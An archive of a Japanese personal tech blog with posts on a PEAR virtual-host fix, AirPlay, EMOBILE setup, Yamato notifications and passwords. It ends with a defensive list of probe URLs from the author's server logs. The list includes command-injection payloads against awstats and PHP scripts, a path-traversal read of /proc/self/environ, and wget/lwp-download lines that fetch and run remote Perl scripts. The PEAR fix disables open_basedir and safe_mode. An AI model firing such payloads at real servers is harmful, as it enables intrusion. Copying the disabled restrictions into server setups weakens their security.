pearのエラー回避(バーチャルホスト)

下記の環境においてpearを利用した際にエラーが出たので解決の覚書

【環境】
さくらVPS
・CentOS6.2 64bit
・Apache 2.2.15
・PHP 5.3.10
・MySQL 5.5.23

【結論】
環境の問題ではなくてマルチドメインやサブドメインを使用する際にApacheのバーチャルホストを利用したら発生していた

【内容】
サーバーの移行に伴い、グローバルIP単体で最初はテストを行っていた。その時はうまくいっていたのに複数ドメイン運用(バーチャルホスト)に切り替えをした際に発生
始めはWikiPediaのDumpデータをMySQLに取り込んでPHPで加工させていた際に追加でText_Wiki_Mediawikiをインストールしたらエラーが出だしたと思ったのでアンインストールしたりしてみたが、実際は動かなくなったのはPEAR全般だった

出ていたエラーは
PHP Fatal error: require_once(): Failed opening required ‘Text/Wiki.php’ (include_path=’.:/usr/share/pear:/usr/share/php’) in /var/www/html/xxx/hoge.php on line 38
(翻訳)サブドメインで使用している『xxx』フォルダのhoge.phpの38行目で読み込み指示している『Text/Wiki.php』は指定してある『include_path』では開けないよ

○入っているPEARを確認するのは下記のコマンドで

#pear list

○パスを確認するには

#pear config-show

調べていくと、どうやらバーチャルホスト(vhost.conf)を利用した場合には、各設定において使ってよいという指示を与えなければいけなかった。
【対応】
vhost.conに下記を追加が必要

<IfModule mod_php5.c>
php_admin_flag engine on
php_admin_flag safe_mode off
php_admin_value open_basedir none
</IfModule>

(記入例)

<VirtualHost *:80>
DocumentRoot /var/www/html/xxx
ServerName hoge.com
ServerAlias www.hoge.com
ErrorLog logs/hoge-error.log
CustomLog logs/hoge-access_log combined env=!no_log
<IfModule mod_php5.c>
php_admin_flag engine on
php_admin_flag safe_mode off
php_admin_value open_basedir none
</IfModule>
</VirtualHost>

書き込んだらhttpdをリスタート

#/etc/init.d/httpd restart

AppleTVとiPadでAirPlayができない時に試すこと

前々からAirePlayがうまくいったりいかなかったりと挙動が不安定だったけど、そこまで困ることでもないし後回しにしていたが新型iPadも買ったことだし、再度チャンレンジすることにした。

【構成】
 ・通常クライアントPC(Windows7 Pro 64bit , 有線LAN)
 ・ファイルサーバー(WindowsXP Pro 32bit , 無線LAN)
 ・AppleTV(第2世代 , 無線LAN)
 ・iPAd(第3世代 , 無線LAN)
 ・ルーター(コレガCG-WLR300GNE)

1.コレガのCG-WLR300GNEの有線ポートと無線機能を利用して全ての機器を同じネットワーク上に設定する

2.クライアントPCとファイルサーバーのiTunesでホームシェアリングを入りにする(同じIDを使用)

3.AppleTVでホームシェアリングを入りにする

4.iPadの写真やビデオを使ってAirPlayのボタンが表示されることを確認する

本当はこれだけで簡単につながるはずなんだけど、AirPlayボタンが表示されたりされなかったりと不安だった。

ネット上を探して色々と試してみた結果、我が家でうまくいったやり方はこれ

機内モードをON・OFFする

あんなに手こずっていたのに簡単にできた。
RemoteアプリもAirPlay同様に正常動作するようになった。
機内モードをONにするとWiFiが未接続になって、OFFにするとネットワークが復帰するので、WiFiが繋がりっぱなしだと相手をうまく認識しないのかもしれない。ルーターの電源を一度切ってしまうのもありなのかな。
初代iPadも同じ内容で確認がとれました。ぜひお試しあれ

だいたい、AppleTVは自動でiTunesの確認が走っているのにiPadがダメってどういうことだよ。

EMOBILEのEMチャージを利用開始るまでの設定

初代iPadを使用しているが外で使用するのは稀だったのでソフトバンクのプリペイドチャージ式を利用していたが、通信量が100MBか1GBまでの2パターンで100MBを超えちゃったらいきなり使えなくなるからと余分な1GBをチャージして高くついたり、1年に1度は再チャージしないと契約が切れてしまうなんてこともあったり、デザリングができないのでチャージしてもiPad単体でしか使えずと若干不満があった。

そこで、3世代目のiPadを購入するにあたって、PocketWiFiのイーモバイルからアウトレット品(GP01)を使った必要な時だけ必要な日数のプランが選べるEMチャージ式がでたのでiPadはWiFiのみのタイプにして購入することにした。

iPadをWiFiのみにするとGPS機能が無くなってしまうけど、通信端末持ってればその通信端末の位置情報を拾ってくれるのではっきりいって実用性には問題ない。外で使用する際に負担となるのも「持ち運びが発生するものが1つ余計に増えてしまう」というだけで、iPadが必ず必要となる急な出張や外出はないのでデザリングも可能な通信端末としてEMOBILEを選んだ。

しかしながらマニュアルが不親切過ぎて設定が分かり難かった。さすが「めっちゃイーモバイル」と謳うだけはある(褒め殺し)
では、EMチャージを利用するにあたっての設定の覚書

○同梱されてきたSIMカードとバッテリーを内部にセットする。SIMカードは切欠きを同じ向きにしてICチップ側を下に差し込む。

○ドライバをクライアントPCにセットアップする(USBで通信端末と接続すると始まります。Win7の64bit版でも正常にインストールできました。)

○ドライバをセットアップすると『Setting Tool』というアイコンがデスクトップ上にできあがる
ここで注意しないといけないのが、このアイコンはURLが入ったショートカットになっていて『http://pocketwifi.home』というアドレスが埋め込まれている。アイコンをクリックするとブラウザが起動して『http://pocketwifi.home』を開こうとします。
クライアントPCがインターネットにつながっているとインターネット上にWEB公開されていないドメインの『http://pocketwifi.home』に接続しようとするので404NotFoundがでます。
クライアントPCのネットワークを切断したうえで(有線ならばLANケーブルを外す。無線LANならばネットワークを無効にする)

○「Setting Tool」というアイコンをクリックすると通信端末の設定画面が開きます。

○接続モードを『emb.ne.jp』からEMチャージ専用のAPN『rtc.data』に変更します。
この時点から通信が始まっているので、「あっ、インターネットにつながった」と色々なサイトに接続してしまうとデフォルトの通信プランとなっている『スタンダードプランEMOBILE G4』の63円/1MBが適応されてチャージ料金がガンガン減ってしまうので要注意です。
設定が終わったら通信端末をUSB接続から切り離して、普通のネットワーク回線を復旧させましょう。

○EMチャージサービスサイト『https://rtc.emb.ne.jp/』にアクセスして、新規登録を選んでユーザー情報を登録します。
この時に契約電話番号をいれないといけません。契約電話番号はSIMカードがくっついていたカードの裏側に書いてある『080-****-****』の番号です。ハイフンは外して入力しましょう。

○登録が済んだらEMチャージサービスサイトへログインして、登録情報の確認をします。

○使用したいプランを選択して更新をすればすぐに反映されます。
ここで注意しないといけないのが「ちょっとだけ試そう」と思って『1時間定額プランEMOBILE G4』を選ぶと1時間終了後に『スタンダードプランEMOBILE G4』に戻されて気づかぬうちに従量課金がスタートしてしまうので、試しで使用したいときは『1日定額プランEMOBILE G4』を選んだ方が無難です。

【プランごとの終了後の自動切り替わり】2012/03/16現在
 ・『1時間定額プランEMOBILE G4』 → 『スタンダードプランEMOBILE G4』
 ・『1日定額プランEMOBILE G4』 → 未選択
 ・『7日定額プランEMOBILE G4』 → 未選択
 ・『30日定額プランEMOBILE G4』 → 未選択
 ・『30日定額プラン』 → 未選択

※1日の単位は24時間ではなく24:00に切り替えなので、24時前にプランの切り替えをすると1日分が直ぐに消費されてしまうので要注意です。

○プランを変更したら次はWiFi接続させたい機器への登録です。
付属してきたシールに、SSIDとWEP Key、WPA Keyが記載されいますのでこちらを元にWiFi設定を行います。

※イーモバイルは初期設定がWEPになっているのでWPAへ変更することをお勧めします。

New iPadを待ちわびて

昨夜にやっとApple Storeで「出荷完了」が出て、ヤマトの荷物お問い合わせシステムでも情報が出た。

荷物状況 日 付 時 刻 担当店名 担当店コード
荷物受付 03/15 08:39 ADSC支店 047750

ADSC支店とは、品川にある「Apple Delivery Support Center」の略だそうだ。

ここからエア便に載せるのか、陸便で明日の午後にしか到着しないのかどっちだろ

ヤマト運輸のクロネコメンバーズがかなり便利

 

仕事もあって、ヤマト運輸のクロネコメンバーズに加入するとエンドユーザーにとってどのようなメリットがあるかを調べようと思って試しに加入してみた。

ちょうとヤマト運輸での配達ものの注文を2件していたので、

注文 → メンバーズ登録

という流れになってしまい、今回は使えないのかなと思って諦めていた。

出荷情報は出荷元から届いていたけどヤマトからは事前のお届けメールが来なかったので、注文時にメンバーズに加入しているとかのチェック事項もなかったから出荷元が特別な契約をしていてフラグが立つようにしていないとやっぱりダメなんだと思っていた。

ところが、今日の午前中に「ご不在連絡eメール」という件名でメールが届く。

そして、その不在連絡メールに記載されている問い合わせ番号を使って再配達希望をしてみる。届け日と時間帯指定だけでなく備考も入力できるので「宅配BOXへ」という希望まで伝えられた。

そして、先ほど別の注文の分で「宅急便お届けのお知らせ」とう件名で配達予定と変更したいならば変更を入れてという内容のメールが届く。

今回は代引きだったのでコンビニ受け取りに変更ができなかったが、これを使えば指定のコンビニ(限りがあるんだろうけど)へ受け取り変更ができるっぽい。

こちらの注文も注文時にはメンバーズに加入しているとかのチェック項目はなかった。かなり便利。

 

こちらからメンバーズ指定をしていないのにメールが届くということは、おそらく出荷元からメールアドレスと電話番号くらいを問い合わせ番号に追加してヤマト運輸へ渡して、それを元にヤマトがデータベース検索してマッチングをかけれいるんじゃないかなと思われる。

【予想されるマッチング条件】
注文時メールアドレス = ヤマト登録メールアドレス
配送先電話番号 = ヤマト登録電話番号

登録住所は1つなので 郵便番号でマッチングを掛けると勤務先届けだった場合に使えないし、氏名も出荷元のデータの持ち方によって変わる可能性があるので判断材料としてはあいまい率が上がってしまう。

 

若干薄気味悪い気はするけど、独自ドメインを取得してメールアドレスを使っていれば赤の他人と間違えられてしまう可能性は今後も低いので利便性は高い。
ネット通販を使ったときは佐川急便が多かったので、あまり期待もしていなく登録手順が少し面倒だったので「特典はたくさんあるけどそんなに便利だとは思えないな」と思っていたところでの予想もしない連続の出来事でに加入してよかったと思えた。

顧客サービスとして特に都市圏のエンドユーザーへ向けにリリースできるかもしれない。送料の問題がネックだけどなぁ

 

携帯からも使えるので登録しておくだけでも損はないと思います。

ヤマト運輸 クロネコメンバーズ

 

絶対に忘れないキーワードから強固なパスワードを作成する

様々なWEBサービスを利用するにあたって会員登録が必須になっていますが、以前までと違い、パスワードに指定できる文字決まっていたり、大文字と小文字の英字を混ぜ合わせた数字との複数組み合わせも必要となってきました。

そんな中で、ランダムな組み合わせでパスワードを生成してくれるサイトはチラホラと見かけるようになってきましたが、

ランダム = 覚えられない = メモに書いて控える

そんな、そもそもの原点を忘れてしまう現象まで起きてしまっています。

それはなぜかと言うと、2バイト文字を使用している日本人に覚えやすい英数字の組み合わせのパスワードを考えろという方が無理があるのです。

例えば『田中』さんとすると、英字だけの組み合わせならば『tanaka』や『Tanaka』なんてパスワードにすれば忘れませんし、数字の組み合わせを作ろうとすると生年月日と組み合わせて『tanaka1982』や『Tanaka0309』なんてすれば忘れに難いパスワードになります。

しかし、パスワードは運営している側のセキュリティポリシーで運用されるので、【5文字で】とか【6文字で】とか自分が使いたかった文字数というが使用できずに、文字数によって忘れ難い文字列を考えて作ろうとしてしまい、必要なときに忘れてしまうことが発生します。

また、『tanaka1982』や『Tanaka0309』なんてパスワードもその人を知っている人からすると想像し易く、不正ログインされてしまう組み合わせになってしまいます。

そこで、自分の好きなキーワードからパスワードを生成してみてはどうでしょうか?

他人は知らない自分だけの大事なキーワードから作られたパスワードというのは憶測がつきません。しかも大文字小文字と数字の組み合わせが入っていれば尚更相手は予測がつきません。

 

『Tanaka』だったかな?『tanaka』からだったかな?

ではなく

『田中』からパスワードを作るのです。

 

もし忘れてしまっても、ランダム生成ではないので同じキーワードから確認すればいいのです。

 

一度試してみてください

絶対に忘れないキーワードから簡単に強固なパスワードを生成しよう

 

不正アクセス防止のための狙われるアクセス先リスト

自宅サーバーやVPSなどで自分でWEBサーバーを構築するのはいいが、ネックになるのはセキュリティの部分。

自作のプログラムを設置して動かしているならば、WEBサーバーとしての基礎となるApacheやMySQL、PHP等の脆弱性を突かれない限りは気にする部分が限られてくるので管理はらくだけれども、MySQLをGUIで管理するためのphpMyAdminやPostgreSQLをGUIで管理するためのphppgadminを入れて運用するのが一般的。その都度削除してインストールし直すなんて面倒ですよね。

WordPressやMovableTypeなんかも ダウンロード→解凍→インストール という作業が簡単になっていますし、言われるがままに入れてしまうので特に危なかったりします。

まさか自分のサイトがウイルスの配布場所になっていたなんて、予想もしてないことが起こってしまうことがあるのです。

「セキュリティ対策が万全じゃないとWEBサーバーは公開してはいけない」という決まりはないし、手軽に公開できるようになったからこそ、自分なりに出来る限りの対策をすることは求められることでしょう。モラルにちかいのかな

一番手っ取り早いのが、最初から指定(作成)されるフォルダ名を変更してインストールする方法です。ピンポイントに狙われた際はどうしようもないことも多いですが、大手サイトじゃない限りはピンポイントで狙っても効果が薄いので、一般的なサーバーに関しては迷惑メールやウイルス配布用のサーバー機として利用されることが多くなります。

攻撃者はあらゆるグローバルIPアドレスに向かって自動巡回で「どこかに穴が開いてるサーバーはないかな」と仕掛けてきます。

下記が私の持っているサーバーのログから出力した自動巡回で投げられてきたアクセス場所です。もちろん該当箇所はないので404NotFoundは返されていますが、攻撃者は1箇所でも正常アクセスできる場所が見つかればそこからつついきますので、下記のリストを元に自分のサーバーのフォルダ構成を見直してみるのもいいのではないでしょうか。

 

【アクセスリスト】466件(2012/01/06更新)
/2phpmyadmin/
/3rdparty/phpMyAdmin/scripts/setup.php
/Admin/scripts/setup.php
/Horde/README
/MyAdmin/
/MyAdmin/scripts/setup.php
/MyAdmin9/scripts/setup.php
/MySQLAdmin/scripts/setup.php
/PHPMYADMIN/config/config.inc.php?p=phpinfo();
/PHPMYADMIN/scripts/setup.php
/PMA/
/PMA/main.php
/PMA/scripts/setup.php
/PMA2005/scripts/setup.php
/README
/SQL/scripts/setup.php
/SSLMySQLAdmin/scripts/setup.php
/SnapshotJPEG?Resolution=640×480&Quality=Clarity
/_admin/pma/scripts/setup.php
/_admin/scripts/setup.php
/_myadmin/scripts/setup.php
/_phpMyAdmin/scripts/setup.php
/_phpmyadmin/scripts/setup.php
/_scripts/setup.php
/admin/
/admin/config/config.inc.php?p=phpinfo();
/admin/cp/tools/pma/scripts/setup.php
/admin/database/main.php
/admin/datenbank/main.php
/admin/db/
/admin/db/main.php
/admin/index.php
/admin/main.php
/admin/myadmin/main.php
/admin/mysql-admin/main.php
/admin/mysql/main.php
/admin/mysql/scripts/setup.php
/admin/mysqladmin/main.php
/admin/pMA/
/admin/pMA/main.php
/admin/padmin/main.php
/admin/php-my-admin/main.php
/admin/phpMyAdmin-2.2.3/main.php
/admin/phpMyAdmin-2.2.6/main.php
/admin/phpMyAdmin-2.5.1/main.php
/admin/phpMyAdmin-2.5.4/main.php
/admin/phpMyAdmin-2.5.6/main.php
/admin/phpMyAdmin-2.6.0-pl1/main.php
/admin/phpMyAdmin-2.6.0/main.php
/admin/phpMyAdmin-2.6.2-rc1/main.php
/admin/phpMyAdmin-2.6.3-pl1/main.php
/admin/phpMyAdmin-2.6.3-rc1/main.php
/admin/phpMyAdmin-2.6.3/main.php
/admin/phpMyAdmin/
/admin/phpMyAdmin/main.php
/admin/phpmyadmin/
/admin/phpmyadmin/index.php
/admin/phpmyadmin/main.php
/admin/phpmyadmin/scripts/setup.php
/admin/phpmyadmin2/main.php
/admin/pma/index.php
/admin/pma/scripts/setup.php
/admin/scripts/setup.php
/admin/sqladmin/
/admin/sqladmin/main.php
/admin/sqlweb/main.php
/admin/sysadmin/
/admin/sysadmin/main.php
/admin/web/
/admin/web/main.php
/admin/webadmin/main.php
/admin/webdb/main.php
/admin/websql/main.php
/administrator/PMA/
/administrator/admin/
/administrator/db/
/administrator/phpMyAdmin/
/administrator/phpmyadmin/
/administrator/phpmyadmin/scripts/setup.php
/administrator/pma/
/administrator/web/
/admm/scripts/setup.php
/admn/scripts/setup.php
/appConf.htm
/apps/phpAlbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/apps/phpalbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/backup/phpMyAdmin/scripts/setup.php
/backup/phpmyadmin/scripts/setup.php
/bazapma/scripts/setup.php
/bbs/data/scripts/setup.php
/bkup/phpMyAdmin/scripts/setup.php
/bkup/phpmyadmin/scripts/setup.php
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo|
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/config/config.inc.php?p=phpinfo();
/cp/tools/pma/scripts/setup.php
/cpadmin/scripts/setup.php
/cpadmindb/scripts/setup.php
/cpanelmysql/scripts/setup.php
/cpanelphpmyadmin/scripts/setup.php
/cpanelsql/scripts/setup.php
/cpdbadmin/scripts/setup.php
/cpphpmyadmin/scripts/setup.php
/cube/README
/database/
/database/database/
/database/main.php
/database/phpMyAdmin/
/database/phpMyAdmin2/
/database/phpmyadmin/
/database/phpmyadmin2/
/databaseadmin/scripts/setup.php
/datenbank/main.php
/db/
/db/db-admin/
/db/dbadmin/
/db/dbweb/
/db/index.php
/db/main.php
/db/myadmin/
/db/phpMyAdmin-2/
/db/phpMyAdmin/
/db/phpMyAdmin2/
/db/phpmyadmin/
/db/phpmyadmin2/
/db/scripts/setup.php
/db/webadmin/
/db/webdb/
/db/websql/
/dbadmin/
/dbadmin/config/config.inc.php?p=phpinfo();
/dbadmin/index.php
/dbadmin/main.php
/dbadmin/scripts/setup.php
/email/README
/epgrec/main.php
/exec/show/sip
/horde-3.0.5/README
/horde-3.0.6/README
/horde-3.0.7/README
/horde-3.0.8/README
/horde-3.0.9/README
/horde/README
/horde2/README
/horde3/README
/img/l4iw5.gif
/img/phpog5.png
/img/phprs3.png
/img/phpym1.png
/img/r4zw5.gif
/index.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../proc/self/environ%00
/mail/README
/mail/config.inc.php?p=phpinfo();
/mail2/README
/mails/README
/mailz/README
/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/manager/html
/mss/README
/mss2/README
/muieblackcat
/my/phpmyadmin/scripts/setup.php
/my/scripts/setup.php
/myadmin/
/myadmin/config/config.inc.php?p=phpinfo();
/myadmin/index.php
/myadmin/main.php
/myadmin/scripts/setup.php
/mysql-admin/
/mysql-admin/main.php
/mysql-admin/scripts/setup.php
/mysql/
/mysql/admin/
/mysql/config/config.inc.php?p=phpinfo();
/mysql/db/
/mysql/dbadmin/
/mysql/index.php
/mysql/main.php
/mysql/mysqlmanager/
/mysql/pMA/
/mysql/pma/
/mysql/scripts/setup.php
/mysql/sqlmanager/
/mysql/web/
/mysqladmin/
/mysqladmin/index.php
/mysqladmin/main.php
/mysqladmin/scripts/setup.php
/mysqladminconfig/scripts/setup.php
/mysqlmanager/
/mysqlmanager/scripts/setup.php
/newmail/README
/p/m/a/scripts/setup.php
/pHpMy/scripts/setup.php
/pHpMyAdMiN/scripts/setup.php
/pMA/scripts/setup.php
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=lwp-download%20http:/freetunel.com/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20/tmp/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20/tmp/x.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/cgi-bin.txt%20http:/freetunel.com/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/x.txt%20http:/203.162.35.91/x.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20http:/freetunel.com/cgi-bin.txt
/padmin/main.php
/php-my-admin/config/config.inc.php?p=phpinfo();
/php-my-admin/index.php
/php-my-admin/main.php
/php-my-admin/scripts/setup.php
/php-myadmin/
/php-myadmin/scripts/setup.php
/php/scripts/setup.php
/phpAlbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/phpMyA/scripts/setup.php
/phpMyAdmi/scripts/setup.php
/phpMyAdmin-2.11.4/scripts/setup.php
/phpMyAdmin-2.11.5.1-all-languages/
/phpMyAdmin-2.11.6-all-languages/
/phpMyAdmin-2.11.7.1-all-languages-utf-8-only/
/phpMyAdmin-2.11.7.1-all-languages/
/phpMyAdmin-2.11.8.1-all-languages-utf-8-only/
/phpMyAdmin-2.11.8.1-all-languages/
/phpMyAdmin-2.2.3/index.php
/phpMyAdmin-2.2.3/main.php
/phpMyAdmin-2.2.3/scripts/setup.php
/phpMyAdmin-2.2.6/index.php
/phpMyAdmin-2.2.6/main.php
/phpMyAdmin-2.2.6/scripts/setup.php
/phpMyAdmin-2.5.1/index.php
/phpMyAdmin-2.5.1/main.php
/phpMyAdmin-2.5.1/scripts/setup.php
/phpMyAdmin-2.5.4/index.php
/phpMyAdmin-2.5.4/main.php
/phpMyAdmin-2.5.4/scripts/setup.php
/phpMyAdmin-2.5.5-pl1/index.php
/phpMyAdmin-2.5.5-pl1/scripts/setup.php
/phpMyAdmin-2.5.5-rc1/index.php
/phpMyAdmin-2.5.5-rc1/scripts/setup.php
/phpMyAdmin-2.5.5-rc1config/scripts/setup.php
/phpMyAdmin-2.5.5-rc2/index.php
/phpMyAdmin-2.5.5-rc2/scripts/setup.php
/phpMyAdmin-2.5.5/index.php
/phpMyAdmin-2.5.5/scripts/setup.php
/phpMyAdmin-2.5.6-rc1/index.php
/phpMyAdmin-2.5.6-rc1/scripts/setup.php
/phpMyAdmin-2.5.6-rc2/index.php
/phpMyAdmin-2.5.6-rc2/scripts/setup.php
/phpMyAdmin-2.5.6/index.php
/phpMyAdmin-2.5.6/main.php
/phpMyAdmin-2.5.6/scripts/setup.php
/phpMyAdmin-2.5.7-pl1/index.php
/phpMyAdmin-2.5.7-pl1/scripts/setup.php
/phpMyAdmin-2.5.7/index.php
/phpMyAdmin-2.5.7/scripts/setup.php
/phpMyAdmin-2.6.0-alpha/scripts/setup.php
/phpMyAdmin-2.6.0-alpha2/scripts/setup.php
/phpMyAdmin-2.6.0-beta1/scripts/setup.php
/phpMyAdmin-2.6.0-beta2/scripts/setup.php
/phpMyAdmin-2.6.0-pl1/main.php
/phpMyAdmin-2.6.0-pl1/scripts/setup.php
/phpMyAdmin-2.6.0-pl2/scripts/setup.php
/phpMyAdmin-2.6.0-pl3/scripts/setup.php
/phpMyAdmin-2.6.0-rc1/scripts/setup.php
/phpMyAdmin-2.6.0-rc2/scripts/setup.php
/phpMyAdmin-2.6.0-rc3/scripts/setup.php
/phpMyAdmin-2.6.0/main.php
/phpMyAdmin-2.6.0/scripts/setup.php
/phpMyAdmin-2.6.1-pl1/scripts/setup.php
/phpMyAdmin-2.6.1-pl2/scripts/setup.php
/phpMyAdmin-2.6.1-pl3/scripts/setup.php
/phpMyAdmin-2.6.1-rc1/scripts/setup.php
/phpMyAdmin-2.6.1-rc2/scripts/setup.php
/phpMyAdmin-2.6.1/scripts/setup.php
/phpMyAdmin-2.6.2-beta1/scripts/setup.php
/phpMyAdmin-2.6.2-pl1/scripts/setup.php
/phpMyAdmin-2.6.2-rc1/main.php
/phpMyAdmin-2.6.2-rc1/scripts/setup.php
/phpMyAdmin-2.6.2/scripts/setup.php
/phpMyAdmin-2.6.3-pl1/main.php
/phpMyAdmin-2.6.3-pl1/scripts/setup.php
/phpMyAdmin-2.6.3-rc1/main.php
/phpMyAdmin-2.6.3-rc1/scripts/setup.php
/phpMyAdmin-2.6.3/main.php
/phpMyAdmin-2.6.3/scripts/setup.php
/phpMyAdmin-2.6.4-pl1/scripts/setup.php
/phpMyAdmin-2.6.4-pl2/scripts/setup.php
/phpMyAdmin-2.6.4-pl3/scripts/setup.php
/phpMyAdmin-2.6.4-pl4/scripts/setup.php
/phpMyAdmin-2.6.4-rc1/scripts/setup.php
/phpMyAdmin-2.6.4/scripts/setup.php
/phpMyAdmin-2.7.0-beta1/scripts/setup.php
/phpMyAdmin-2.7.0-pl1/scripts/setup.php
/phpMyAdmin-2.7.0-pl2/scripts/setup.php
/phpMyAdmin-2.7.0-rc1/scripts/setup.php
/phpMyAdmin-2.7.0/scripts/setup.php
/phpMyAdmin-2.8.0-beta1/scripts/setup.php
/phpMyAdmin-2.8.0-rc1/scripts/setup.php
/phpMyAdmin-2.8.0-rc2/scripts/setup.php
/phpMyAdmin-2.8.0.1/scripts/setup.php
/phpMyAdmin-2.8.0.2/scripts/setup.php
/phpMyAdmin-2.8.0.3/scripts/setup.php
/phpMyAdmin-2.8.0.4/scripts/setup.php
/phpMyAdmin-2.8.0/scripts/setup.php
/phpMyAdmin-2.8.1-rc1/scripts/setup.php
/phpMyAdmin-2.8.1/scripts/setup.php
/phpMyAdmin-2.8.2/scripts/setup.php
/phpMyAdmin-2/index.php
/phpMyAdmin-2/scripts/setup.php
/phpMyAdmin/
/phpMyAdmin/config/config.inc.php?p=phpinfo();
/phpMyAdmin/index.php
/phpMyAdmin/main.php
/phpMyAdmin/scripts/setup.php
/phpMyAdmin1/scripts/setup.php
/phpMyAdmin2/config.inc.php?p=phpinfo();
/phpMyAdmin2/scripts/setup.php
/phpMyAds/scripts/setup.php
/phpMyadmin/
/phpadmin/index.php
/phpadmin/phpMyAdmin-2.11.4/scripts/setup.php
/phpadmin/scripts/setup.php
/phpalbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/phpm/scripts/setup.php
/phpmanager/scripts/setup.php
/phpmy-admin/
/phpmy-admin/scripts/setup.php
/phpmy/
/phpmy/scripts/setup.php
/phpmyAdmin/
/phpmya/scripts/setup.php
/phpmyad-sys/scripts/setup.php
/phpmyad/scripts/setup.php
/phpmyadmin/
/phpmyadmin/config/config.inc.php?p=phpinfo();
/phpmyadmin/index.php
/phpmyadmin/main.php
/phpmyadmin/scripts/setup.php
/phpmyadmin1/index.php
/phpmyadmin1/scripts/setup.php
/phpmyadmin2/
/phpmyadmin2/config.inc.php?p=phpinfo();
/phpmyadmin2/index.php
/phpmyadmin2/main.php
/phpmyadmin2/scripts/setup.php
/phpmyadmin_old/scripts/setup.php
/phpmyadmino-ld/scripts/setup.php
/phppgadmin/
/phppgadmin/config.inc.php?p=phpinfo();
/phppma/
/pma/
/pma/config/config.inc.php?p=phpinfo();
/pma/index.php
/pma/main.php
/pma/scripts/setup.php
/pma2005/scripts/setup.php
/pmy/scripts/setup.php
/program/
/published/wbsadmin/html/scripts/setup.php
/qql/
/rc/README
/rms/README
/robots.txt
/round/README
/roundcube-0.1/README
/roundcube-0.2/README
/roundcube/README
/roundcube/scripts/setup.php
/roundcubemail-0.1/README
/roundcubemail-0.2/README
/roundcubemail/README
/rss/dmm/dmm001.php?getcode=10
/rss/dmm/dmm001.php?getcode=11
/rss/dmm/dmm001.php?getcode=13
/rss/dmm/dmm001.php?getcode=14
/rss/dmm/dmm001.php?getcode=6
/rss/dmm/dmm001.php?getcode=8
/rss/dmm/dmm001.php?getcode=9
/scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scripts/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scripts/setup.php
/sl2/data/scripts/setup.php
/sql/myadmin/
/sql/php-myadmin/
/sql/phpMyAdmin/
/sql/phpMyAdmin2/
/sql/phpmanager/
/sql/phpmy-admin/
/sql/phpmyadmin2/
/sql/scripts/setup.php
/sql/sql-admin/
/sql/sql/
/sql/sqladmin/
/sql/sqlweb/
/sql/webadmin/
/sql/webdb/
/sql/websql/
/sqladmin/scripts/setup.php
/sqlmanager/
/sqlmanager/scripts/setup.php
/sqlweb/
/sqlweb/main.php
/sqlweb/scripts/setup.php
/stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/test/phpmyadmin/scripts/setup.php
/tools/_phpmyadmin/scripts/setup.php
/tools/_pma/scripts/setup.php
/tools/pma/scripts/setup.php
/top.htm
/typo3/phpmyadmin/index.php
/typo3/phpmyadmin/scripts/setup.php
/undefined
/up/henk.php
